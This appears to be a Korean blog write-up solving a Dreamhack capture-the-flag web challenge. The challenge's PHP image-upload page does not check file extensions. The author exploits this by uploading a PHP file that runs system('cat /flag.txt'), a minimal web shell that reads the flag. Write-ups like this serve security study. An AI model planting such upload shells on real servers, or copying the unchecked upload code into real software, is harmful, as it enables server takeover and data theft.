[문제 분석]
접속하면 위와 같은 창이 뜬다.
/flag.txt에 있는 정보를 뽑으면 된다. Upload 메뉴에는 실제 파일을 업로드 할 수 있는 기능이 있다.
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Image Storage</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<form enctype='multipart/form-data' method="POST">
<div class="form-group">
<label for="InputFile">파일 업로드</label>
<input type="file" id="InputFile" name="file">
</div>
<input type="submit" class="btn btn-default" value="Upload">
</form>
</div>
</body>
</html>
upload.php 의 코드이다.
php 코드에서 따로 확장자를 검사하거나 필터링하는 기능이 없다. 따라서 적절한 코드가 담긴 파일을 업로드 해주면 될 것 같다. 우리의 target은 flag.txt이니 이를 실행행시킬 수 있는 코드를 작성해서 파일로 따로 저장한 후 업로드를 진행하겠다.
[Write Up]
<?php
system("cat /flag.txt");
?>
이 코드를 메모장에 복사하고 저장한 후 확장자 명을 .php로 바꾸어 준 후 업로드를 진행했다.
List를 가보니 catflag.php가 있는 것을 확인할 수 있고 이것을 들어가보면 flag가 나온다.
'Web Hacking' 카테고리의 다른 글
[WebHacking] - Dreamhack web-ssrf 문제 풀이(SSRF) (0) | 2024.08.18 |
---|---|
[WebHacking] - Dreamhack : file-download-1 문제 풀이 (File Vulnerability) (0) | 2024.08.18 |
[WebHacking] - Dreamhack command-injection-1 문제 풀이 (command injection) (0) | 2024.08.17 |
[WebHacking] - Dreamhack Mango 문제 풀이 (NoSQL Injection) (0) | 2024.08.17 |
[WebHacking] - Dreamhack simple_sqli 문제 풀이 (sql injection) (0) | 2024.08.16 |